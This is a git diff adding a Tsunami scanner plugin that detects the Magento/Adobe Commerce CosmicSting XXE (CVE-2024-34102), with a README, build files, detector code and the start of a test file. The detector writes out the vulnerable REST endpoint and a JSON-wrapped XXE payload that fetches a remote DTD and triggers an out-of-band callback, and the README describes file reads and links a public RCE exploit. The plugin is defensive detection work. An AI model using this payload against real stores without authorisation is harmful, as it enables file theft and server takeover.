diff --git a/doyensec/detectors/magento_cosmicsting_xxe/README.md b/doyensec/detectors/magento_cosmicsting_xxe/README.md
new file mode 100644
index 000000000..9c6d26bba
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/README.md
@@ -0,0 +1,74 @@
+# Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102)
+
+## Description
+
+Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical
+unauthenticated XXE (XML External Entity) vulnerability that can lead to
+arbitrary code execution on unpatched systems. The vulnerability can be
+exploited by sending an unauthenticated HTTP request with a crafted XML file
+that references external entities; when the request payload is deserialized, the
+attacker can extract sensitive files from the system and gain administrative
+access to the software.
+
+### Impact
+
+The CosmicSting XXE vulnerability by itself can be exploited to perform
+Arbitrary File Reads and Server-Side Request Forgeries (SSRF). Effectively, this
+allows attackers to leak sensitive information from files in the target system
+or from internal network endpoints. For example, an attacker could leak
+Magento's configuration files to gain administrative access to the software, or
+leak an SSH key to log onto the system itself.
+
+### Remote Code Execution
+
+On unpatched systems, Remote Code Execution can be achieved by combining the
+CosmicSting XXE vulnerability with the
+[PHP iconv RCE](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) (aka
+CNEXT). A very reliable public exploit for Magento that leverages both
+vulnerabilities and achieves RCE was released by @cfreal, the author of the
+iconv research, and can be found
+[here](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py).
+
+### Detector's implementation
+
+This detector only exploits the XXE vulnerability to perform a simple Arbitrary
+File Read (leaking `/etc/passwd`) and a SSRF (calling back to the Tsunami
+Callback Server). It was not possible to implement the full RCE exploit due to
+the current limitations of the Callback Server. Specifically, the RCE exploit
+requires leaking the process memory map and the system's libc binary, in order
+to properly calculate the memory addresses needed for the final exploit step.
+Even if the Callback Server allows us to check whether a callback was received,
+it doesn't allow us to fetch any extra data attached to the request (such as URL
+parameters or the POST body), thus it makes it impossible for us to retrieve the
+leaked data needed for the full exploit.
+
+## Affected Versions
+
+- 2.4.7 and earlier
+- 2.4.6-p5 and earlier
+- 2.4.5-p7 and earlier
+- 2.4.4-p8 and earlier
+- 2.4.3-ext-7 and earlier*
+- 2.4.2-ext-7 and earlier*
+
+*These versions are only applicable to customers participating in the Extended
+Support Program
+
+## References
+
+- [CosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce
+ and Magento
+ (CVE-2024-34102)](https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-adobe-commerce-and-magento-cve-2024-34102)
+- [NIST: CVE-2024-34102](https://nvd.nist.gov/vuln/detail/CVE-2024-34102)
+- [Adobe Security Bulletin APSB24-40](https://helpx.adobe.com/security/products/magento/apsb24-40.html)
+- [CosmicSting CNEXT RCE exploit](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py)
+
+## Build jar file for this plugin
+
+Using `gradlew`:
+
+```shell
+./gradlew jar
+```
+
+The Tsunami identifiable jar file is located at `build/libs` directory.
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/build.gradle b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle
new file mode 100644
index 000000000..c75cfcbc1
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle
@@ -0,0 +1,68 @@
+plugins {
+ id 'java-library'
+}
+
+description = 'Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102)'
+group = 'com.google.tsunami'
+version = '0.0.1-SNAPSHOT'
+
+repositories {
+ maven { // The google mirror is less flaky than mavenCentral()
+ url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
+ }
+ mavenCentral()
+ mavenLocal()
+}
+
+java {
+ sourceCompatibility = JavaVersion.VERSION_11
+ targetCompatibility = JavaVersion.VERSION_11
+
+ jar.manifest {
+ attributes('Implementation-Title': name,
+ 'Implementation-Version': version,
+ 'Built-By': System.getProperty('user.name'),
+ 'Built-JDK': System.getProperty('java.version'),
+ 'Source-Compatibility': sourceCompatibility,
+ 'Target-Compatibility': targetCompatibility)
+ }
+
+ javadoc.options {
+ encoding = 'UTF-8'
+ use = true
+ links 'https://docs.oracle.com/javase/8/docs/api/'
+ }
+
+ // Log stacktrace to console when test fails.
+ test {
+ testLogging {
+ exceptionFormat = 'full'
+ showExceptions true
+ showCauses true
+ showStackTraces true
+ }
+ maxHeapSize = '1500m'
+ }
+}
+
+ext {
+ tsunamiVersion = 'latest.release'
+ junitVersion = '4.13.1'
+ mockitoVersion = '2.28.2'
+ truthVersion = '1.0.1'
+ guiceVersion = '4.2.3'
+}
+
+dependencies {
+ implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
+ implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
+ implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
+
+ testImplementation "junit:junit:${junitVersion}"
+ testImplementation "org.mockito:mockito-core:${mockitoVersion}"
+ testImplementation "com.google.inject:guice:${guiceVersion}"
+ testImplementation "com.google.truth:truth:${truthVersion}"
+ testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}"
+ testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}"
+ testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
+}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle
new file mode 100644
index 000000000..9ef0beed0
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle
@@ -0,0 +1 @@
+rootProject.name = 'magento_cosmicsting_xxe_cve-2024-34102'
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java
new file mode 100644
index 000000000..f29c8ed7e
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2024 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.tsunami.plugins.detectors.cves.cve202434102;
+
+import static java.lang.annotation.ElementType.FIELD;
+import static java.lang.annotation.ElementType.METHOD;
+import static java.lang.annotation.ElementType.PARAMETER;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import javax.inject.Qualifier;
+
+/** Annotation for {@link MagentoCosmicStingXxe}. */
+final class Annotations {
+ @Qualifier
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({PARAMETER, METHOD, FIELD})
+ @interface OobSleepDuration {}
+
+ private Annotations() {}
+}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java
new file mode 100644
index 000000000..c5da92225
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java
@@ -0,0 +1,456 @@
+/*
+ * Copyright 2024 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.tsunami.plugins.detectors.cves.cve202434102;
+
+import static com.google.common.base.Preconditions.checkNotNull;
+import static com.google.common.base.Verify.verify;
+import static com.google.common.collect.ImmutableList.toImmutableList;
+import static com.google.common.net.HttpHeaders.CONTENT_TYPE;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.collect.ImmutableList;
+import com.google.common.flogger.GoogleLogger;
+import com.google.common.util.concurrent.Uninterruptibles;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.protobuf.ByteString;
+import com.google.protobuf.util.Timestamps;
+import com.google.tsunami.common.data.NetworkServiceUtils;
+import com.google.tsunami.common.net.http.HttpClient;
+import com.google.tsunami.common.net.http.HttpHeaders;
+import com.google.tsunami.common.net.http.HttpRequest;
+import com.google.tsunami.common.net.http.HttpResponse;
+import com.google.tsunami.common.net.http.HttpStatus;
+import com.google.tsunami.common.time.UtcClock;
+import com.google.tsunami.plugin.PluginType;
+import com.google.tsunami.plugin.VulnDetector;
+import com.google.tsunami.plugin.annotations.PluginInfo;
+import com.google.tsunami.plugin.payload.NotImplementedException;
+import com.google.tsunami.plugin.payload.Payload;
+import com.google.tsunami.plugin.payload.PayloadGenerator;
+import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration;
+import com.google.tsunami.proto.AdditionalDetail;
+import com.google.tsunami.proto.DetectionReport;
+import com.google.tsunami.proto.DetectionReportList;
+import com.google.tsunami.proto.DetectionStatus;
+import com.google.tsunami.proto.NetworkService;
+import com.google.tsunami.proto.PayloadGeneratorConfig;
+import com.google.tsunami.proto.Severity;
+import com.google.tsunami.proto.TargetInfo;
+import com.google.tsunami.proto.TextData;
+import com.google.tsunami.proto.Vulnerability;
+import com.google.tsunami.proto.VulnerabilityId;
+import java.io.IOException;
+import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import javax.inject.Inject;
+
+/** A Tsunami plugin that detects the CosmicSting XXE in Adobe Commerce and Magento */
+@PluginInfo(
+ type = PluginType.VULN_DETECTION,
+ name = "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)",
+ version = "0.1",
+ description =
+ "This plugin detects the CosmicSting XXE vulnerability in Magento and Adobe Commerce.",
+ author = "Savino Sisco (savio@doyensec.com)",
+ bootstrapModule = MagentoCosmicStingXxeBootstrapModule.class)
+public final class MagentoCosmicStingXxe implements VulnDetector {
+ @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY";
+ @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2024-34102";
+
+ @VisibleForTesting
+ static final String VULNERABILITY_REPORT_TITLE =
+ "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)";
+
+ static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC =
+ "The scanner detected a Magento or Adobe Commerce instance vulnerable to the CosmicSting XXE"
+ + " (CVE-2024-34102). The vulnerability can be exploited by sending an unauthenticated"
+ + " HTTP request with a crafted XML file that references external entities; when the"
+ + " request payload is deserialized, the attacker can extract sensitive files from the"
+ + " system and gain administrative access to the software. Remote Code Execution (RCE)"
+ + " can be accomplished by combining this issue with another vulnerability, such as the"
+ + " PHP iconv RCE (CVE-2024-2961). An exploit that leverages both vulnerabilities to"
+ + " achieve RCE on unpatched Magento is publicly available.\n"
+ + "See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or"
+ + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more"
+ + " information.\n";
+
+ @VisibleForTesting
+ static final String VULNERABILITY_REPORT_DESCRIPTION_CALLBACK =
+ VULNERABILITY_REPORT_DESCRIPTION_BASIC
+ + "The vulnerability was confirmed via an out of band callback.";
+
+ @VisibleForTesting
+ static final String VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING =
+ VULNERABILITY_REPORT_DESCRIPTION_BASIC
+ + "The vulnerability was confirmed via response matching only, as the Tsunami Callback"
+ + " Server was not available.";
+
+ @VisibleForTesting
+ static final String VULNERABILITY_REPORT_RECOMMENDATION =
+ "Install the latest security patches and rotate your encryption keys. More detailed"
+ + " instructions can be found in the official Adobe security bulletin:"
+ + " https://helpx.adobe.com/security/products/magento/apsb24-40.html.";
+
+ static final String DTD_FILE_URL =
+ "https://raw.githubusercontent.com/google/tsunami-security-scanner-plugins/master/payloads/magento-cosmicsting-xxe/dtd.xml";
+ private static final String PAYLOAD_TEMPLATE =
+ "\n"
+ + "\n"
+ + " \n"
+ + " \n"
+ + " %sp;\n"
+ + " %param1;\n"
+ + "]>\n"
+ + "&exfil;";
+
+ @VisibleForTesting
+ static final String VULNERABLE_ENDPOINT_PATH =
+ "rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods";
+
+ @VisibleForTesting
+ static final String CURRENCY_ENDPOINT_PATH = "rest/default/V1/directory/currency";
+
+ @VisibleForTesting static final String VERSION_ENDPOINT_PATH = "magento_version";
+
+ private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
+ private final Clock utcClock;
+ private final HttpClient httpClient;
+ private final PayloadGenerator payloadGenerator;
+ private final int oobSleepDuration;
+ private boolean responseMatchingOnly = false;
+ private String detectedMagentoVersion = null;
+
+ @Inject
+ MagentoCosmicStingXxe(
+ @UtcClock Clock utcClock,
+ HttpClient httpClient,
+ PayloadGenerator payloadGenerator,
+ @OobSleepDuration int oobSleepDuration) {
+ this.utcClock = checkNotNull(utcClock);
+ this.httpClient = checkNotNull(httpClient);
+ this.payloadGenerator = checkNotNull(payloadGenerator);
+ this.oobSleepDuration = oobSleepDuration;
+ }
+
+ // This is the main entry point of VulnDetector.
+ @Override
+ public DetectionReportList detect(
+ TargetInfo targetInfo, ImmutableList matchedServices) {
+ logger.atInfo().log("MagentoCosmicStingXxe starts detecting.");
+
+ return DetectionReportList.newBuilder()
+ .addAllDetectionReports(
+ matchedServices.stream()
+ .filter(NetworkServiceUtils::isWebService)
+ .filter(this::isMagento)
+ .filter(this::isServiceVulnerable)
+ .map(networkService -> buildDetectionReport(targetInfo, networkService))
+ .collect(toImmutableList()))
+ .build();
+ }
+
+ /*
+ Check presence of endpoint with always anonymous access: /rest/default/V1/directory/currency
+ From: https://developer.adobe.com/commerce/webapi/rest/use-rest/anonymous-api-security/
+
+ Typical response:
+ HTTP/2 200 OK
+ {
+ "base_currency_code": "USD",
+ "base_currency_symbol": "$",
+ ...
+ }
+ */
+ private boolean isMagento(NetworkService networkService) {
+ String targetUri =
+ NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CURRENCY_ENDPOINT_PATH;
+
+ HttpRequest req =
+ HttpRequest.get(targetUri)
+ .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build())
+ .build();
+
+ HttpResponse response;
+ try {
+ response = this.httpClient.send(req, networkService);
+ } catch (IOException e) {
+ return false;
+ }
+
+ // Check status code 200
+ if (response.status() != HttpStatus.OK) {
+ return false;
+ }
+
+ // Check if body is JSON
+ if (response.bodyJson().isEmpty()) {
+ return false;
+ }
+
+ JsonElement body = response.bodyJson().get();
+ // Check if JSON body is object
+ if (!body.isJsonObject()) {
+ return false;
+ }
+
+ // If the body has a known key, e.g. "base_currency_code", it's Magento
+ return body.getAsJsonObject().has("base_currency_code");
+ }
+
+ /*
+ Tries to get the Magento version by fetching /magento_version
+ This endpoint can be manually disabled, so don't stop the plugin if we can't fetch it
+ */
+ private String detectMagentoVersion(NetworkService networkService) {
+ String targetUri =
+ NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT_PATH;
+ logger.atInfo().log("Trying to detect Magento version at '%s'", targetUri);
+
+ HttpRequest req = HttpRequest.get(targetUri).withEmptyHeaders().build();
+
+ try {
+ HttpResponse response = this.httpClient.send(req, networkService);
+ if (response.status() == HttpStatus.OK
+ && response.bodyString().orElse("").contains("Magento")) {
+ String version = response.bodyString().get();
+ logger.atInfo().log("Detected Magento version: '%s'", version);
+ return version;
+ } else {
+ logger.atInfo().log("Unable to detect Magento version.");
+ return null;
+ }
+
+ } catch (IOException e) {
+ logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri);
+ return null;
+ }
+ }
+
+ private String ensureCorrectUrlFormat(String domainOrUrl) {
+ if (domainOrUrl.startsWith("http://") || domainOrUrl.startsWith("https://")) {
+ return domainOrUrl;
+ } else {
+ return "http://" + domainOrUrl;
+ }
+ }
+
+ private String getJsonPayload(String xxePayload) {
+ /* JSON payload format:
+ {
+ "address": {
+ "totalsReader": {
+ "collectorList": {
+ "totalCollector": {
+ "sourceData": {
+ "data": payload,
+ "options": 16
+ }
+ }
+ }
+ }
+ }
+ }
+ */
+
+ // Build the JSON object containing the XXE payload
+ JsonObject sourceData = new JsonObject();
+ sourceData.addProperty("data", xxePayload);
+ sourceData.addProperty("options", 16);
+
+ JsonObject totalCollector = new JsonObject();
+ totalCollector.add("sourceData", sourceData);
+
+ JsonObject collectorList = new JsonObject();
+ collectorList.add("totalCollector", totalCollector);
+
+ JsonObject totalsReader = new JsonObject();
+ totalsReader.add("collectorList", collectorList);
+
+ JsonObject address = new JsonObject();
+ address.add("totalsReader", totalsReader);
+
+ JsonObject jsonPayload = new JsonObject();
+ jsonPayload.add("address", address);
+
+ return jsonPayload.toString();
+ }
+
+ // Sends the payload and returns True if the response matches the pattern of a vulnerable instance
+ private boolean sendPayload(NetworkService networkService, String jsonPayload) {
+ String targetUri =
+ NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_ENDPOINT_PATH;
+ logger.atInfo().log("Sending XXE payload to '%s'", targetUri);
+
+ HttpRequest req =
+ HttpRequest.post(targetUri)
+ .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build())
+ .setRequestBody(ByteString.copyFromUtf8(jsonPayload))
+ .build();
+
+ try {
+ HttpResponse response = this.httpClient.send(req, networkService);
+ // Check if the response matches any known values
+ if (response.status() == HttpStatus.INTERNAL_SERVER_ERROR
+ && response
+ .bodyString()
+ .orElse("")
+ .startsWith(
+ "{\"message\":\"Internal Error. Details are available in Magento log file.")) {
+ logger.atInfo().log(
+ "HTTP response received with status code 500 (Internal Server Error): the instance"
+ + " should be vulnerable.");
+ return true;
+ } else if (response.status() == HttpStatus.BAD_REQUEST
+ && response.bodyString().orElse("").equals("{\"message\":\"Invalid data type\"}")) {
+ logger.atInfo().log(
+ "HTTP response received with status code 400 (Bad Request): the instance seems to be"
+ + " patched.");
+ return false;
+ } else {
+ logger.atInfo().log(
+ "Response does not match any known responses. Status code: %s (%s).",
+ response.status().code(), response.status().name());
+ return false;
+ }
+ } catch (IOException e) {
+ logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri);
+ return false;
+ }
+ }
+
+ // Checks whether a given Magento instance is exposed and vulnerable.
+ private boolean isServiceVulnerable(NetworkService networkService) {
+ // Fetch the version of the running Magento instance
+ this.detectedMagentoVersion = detectMagentoVersion(networkService);
+
+ // Generate the payload for the callback server
+ PayloadGeneratorConfig config =
+ PayloadGeneratorConfig.newBuilder()
+ .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF)
+ .setInterpretationEnvironment(
+ PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY)
+ .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY)
+ .build();
+
+ String oobCallbackUrl = "";
+ Payload payload = null;
+
+ // Check if the callback server is available, fallback to response matching if not
+ try {
+ payload = this.payloadGenerator.generate(config);
+ // Use callback for RCE confirmation and raise severity on success
+ if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) {
+ logger.atWarning().log(
+ "Tsunami Callback Server not available: detector will use response matching only.");
+ responseMatchingOnly = true;
+ } else {
+ oobCallbackUrl = ensureCorrectUrlFormat(payload.getPayload());
+ }
+ } catch (NotImplementedException e) {
+ responseMatchingOnly = true;
+ }
+
+ // Build the XML XXE payload
+ // Note: when the callback server is not available, oobCallbackUrl will be an empty string.
+ // This is fine, as in that case we only care about the HTTP response, the contents of the
+ // payload don't really matter.
+ String xxePayload =
+ PAYLOAD_TEMPLATE
+ .replace("{OOB_CALLBACK}", oobCallbackUrl)
+ .replace("{DTD_FILE}", DTD_FILE_URL);
+
+ // Wrap the XXE payload in a JSON object
+ String jsonPayload = getJsonPayload(xxePayload);
+
+ // Send the malicious HTTP request
+ boolean responseMatchingVulnerable = sendPayload(networkService, jsonPayload);
+
+ // No need to wait for the callback when the callback server is not available
+ if (responseMatchingOnly) {
+ if (responseMatchingVulnerable) {
+ logger.atInfo().log("Vulnerability confirmed via response matching.");
+ }
+ return responseMatchingVulnerable;
+ }
+
+ logger.atInfo().log("Waiting for XXE callback.");
+ Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration));
+
+ // payload should never be null here as we should have already returned in that case
+ verify(payload != null);
+ if (payload.checkIfExecuted()) {
+ logger.atInfo().log("Vulnerability confirmed via Callback Server.");
+ return true;
+ } else if (responseMatchingVulnerable) {
+ logger.atWarning().log(
+ "HTTP response seems vulnerable, but no callback was received. Other mitigations may have"
+ + " been applied.");
+ return false;
+ } else {
+ logger.atInfo().log(
+ "Callback not received and response does not match vulnerable instance, instance is not"
+ + " vulnerable.");
+ return false;
+ }
+ }
+
+ private DetectionReport buildDetectionReport(
+ TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
+ // Set the additional details section to the detected Magento version
+ String additionalDetails;
+ if (this.detectedMagentoVersion == null) {
+ additionalDetails = "Could not detect Magento version.";
+ } else {
+ additionalDetails = "Magento version: " + detectedMagentoVersion;
+ }
+
+ // Set description and severity depending on whether the vulnerability was verified via an OOB
+ // callback or with response matching only
+ String description;
+ Severity severity;
+ if (this.responseMatchingOnly) {
+ description = VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING;
+ severity = Severity.HIGH;
+ } else {
+ description = VULNERABILITY_REPORT_DESCRIPTION_CALLBACK;
+ severity = Severity.CRITICAL;
+ }
+
+ return DetectionReport.newBuilder()
+ .setTargetInfo(targetInfo)
+ .setNetworkService(vulnerableNetworkService)
+ .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
+ .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
+ .setVulnerability(
+ Vulnerability.newBuilder()
+ .setMainId(
+ VulnerabilityId.newBuilder()
+ .setPublisher(VULNERABILITY_REPORT_PUBLISHER)
+ .setValue(VULNERABILITY_REPORT_ID))
+ .setSeverity(severity)
+ .setTitle(VULNERABILITY_REPORT_TITLE)
+ .setDescription(description)
+ .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION)
+ .addAdditionalDetails(
+ AdditionalDetail.newBuilder()
+ .setTextData(TextData.newBuilder().setText(additionalDetails))))
+ .build();
+ }
+}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java
new file mode 100644
index 000000000..ec6545ffe
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2024 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.tsunami.plugins.detectors.cves.cve202434102;
+
+import com.google.inject.Provides;
+import com.google.tsunami.plugin.PluginBootstrapModule;
+import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration;
+
+/** A Guice module that bootstraps the {@link MagentoCosmicStingXxe}. */
+public final class MagentoCosmicStingXxeBootstrapModule extends PluginBootstrapModule {
+
+ @Override
+ protected void configurePlugin() {
+ registerPlugin(MagentoCosmicStingXxe.class);
+ }
+
+ @Provides
+ @OobSleepDuration
+ int provideOobSleepDuration(MagentoCosmicStingXxeConfigs configs) {
+ if (configs.oobSleepDuration == -1) {
+ return 10;
+ }
+
+ return configs.oobSleepDuration;
+ }
+}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java
new file mode 100644
index 000000000..739e49fba
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright 2024 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.tsunami.plugins.detectors.cves.cve202434102;
+
+import com.google.tsunami.common.config.annotations.ConfigProperties;
+
+@ConfigProperties("plugins.detectors.magento_cosmicsting_xxe")
+final class MagentoCosmicStingXxeConfigs {
+ int oobSleepDuration = -1;
+}
diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java
new file mode 100644
index 000000000..880701de6
--- /dev/null
+++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java
@@ -0,0 +1,297 @@
+/*
+ * Copyright 2024 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.tsunami.plugins.detectors.cves.cve202434102;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname;
+import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.CURRENCY_ENDPOINT_PATH;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VERSION_ENDPOINT_PATH;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_CALLBACK;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_ID;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_PUBLISHER;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_RECOMMENDATION;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_TITLE;
+import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABLE_ENDPOINT_PATH;
+
+import com.google.common.collect.ImmutableList;
+import com.google.inject.Guice;
+import com.google.inject.testing.fieldbinder.Bind;
+import com.google.inject.testing.fieldbinder.BoundFieldModule;
+import com.google.inject.util.Modules;
+import com.google.protobuf.util.Timestamps;
+import com.google.tsunami.common.net.http.HttpClientModule;
+import com.google.tsunami.common.net.http.HttpStatus;
+import com.google.tsunami.common.time.testing.FakeUtcClock;
+import com.google.tsunami.common.time.testing.FakeUtcClockModule;
+import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule;
+import com.google.tsunami.plugin.payload.testing.PayloadTestHelper;
+import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration;
+import com.google.tsunami.proto.AdditionalDetail;
+import com.google.tsunami.proto.DetectionReport;
+import com.google.tsunami.proto.DetectionReportList;
+import com.google.tsunami.proto.DetectionStatus;
+import com.google.tsunami.proto.NetworkService;
+import com.google.tsunami.proto.Severity;
+import com.google.tsunami.proto.TargetInfo;
+import com.google.tsunami.proto.TextData;
+import com.google.tsunami.proto.TransportProtocol;
+import com.google.tsunami.proto.Vulnerability;
+import com.google.tsunami.proto.VulnerabilityId;
